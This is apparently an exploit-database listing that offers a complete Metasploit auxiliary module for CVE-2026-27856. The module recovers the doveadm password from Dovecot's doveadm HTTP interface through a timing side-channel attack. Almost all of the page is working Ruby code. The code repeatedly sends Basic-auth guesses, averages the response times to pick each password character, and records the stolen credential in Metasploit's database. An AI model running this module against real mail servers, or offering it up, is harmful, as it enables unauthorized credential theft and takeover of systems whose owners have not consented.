Share
## https://sploitus.com/exploit?id=PACKETSTORM:219554
==================================================================================================================================
    | # Title     : Dovecot doveadm Timing Attack Credential Extraction                                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.dovecotpro.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dovecot doveadm Timing Attack Credential Extraction',
            'Description' => %q{
              Timing-based credential analysis module.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-27856']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-03-27'
          )
        )
    
        register_options([
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [true, 'doveadm endpoint', '/doveadm']),
          OptString.new('CHARSET', [true, 'Charset', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789']),
          OptInt.new('MAX_LENGTH', [true, 'Max length', 32]),
          OptInt.new('SAMPLES', [true, 'Samples per char', 10]),
          OptInt.new('THRESHOLD', [true, 'Threshold ms', 10])
        ])
      end
    
      def run_host(ip)
        print_status("Dovecot Timing Attack CVE-2026-27856")
        print_status("Target: #{peer}")
    
        credential = extract_credential_timing
    
        if credential.nil? || credential.empty?
          print_error("Extraction failed")
          return
        end
    
        print_good("Extracted credential: #{credential}")
        report_credential(credential)
      end
    
      def extract_credential_timing
        credential = ""
        charset = datastore['CHARSET'].to_s.chars
    
        (1..datastore['MAX_LENGTH']).each do |_pos|
          best_char = nil
          best_time = 0.0
    
          charset.each do |char|
            test_cred = credential + char
            times = []
    
            datastore['SAMPLES'].times do
              start_time = Time.now
              test_auth(test_cred)
              finish_time = Time.now
              times << ((finish_time - start_time) * 1000.0)
            end
    
            next if times.empty?
    
            avg_time = times.sum.to_f / times.length
            vprint_status("Testing '#{test_cred}': #{avg_time.round(2)}ms")
    
            if avg_time > best_time
              best_time = avg_time
              best_char = char
            end
          end
    
          break if best_char.nil?
    
          credential += best_char
          print_status("Progress: #{credential} (#{best_time.round(2)}ms)")
    
          break if best_time < datastore['THRESHOLD'].to_f
        end
    
        credential
      end
    
      def test_auth(credential)
        send_request_cgi({
          'uri' => normalize_uri(datastore['TARGETURI']),
          'method' => 'GET',
          'headers' => {
            'Authorization' => "Basic #{Rex::Text.encode_base64("doveadm:#{credential}")}"
          }
        })
      rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionError
        nil
      end
    
      def report_credential(credential)
        service_data = {
          address: rhost,
          port: rport,
          service_name: 'doveadm',
          protocol: 'tcp',
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: 'doveadm',
          private_data: credential,
          private_type: :password
        }.merge(service_data)
    
        create_credential(credential_data)
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================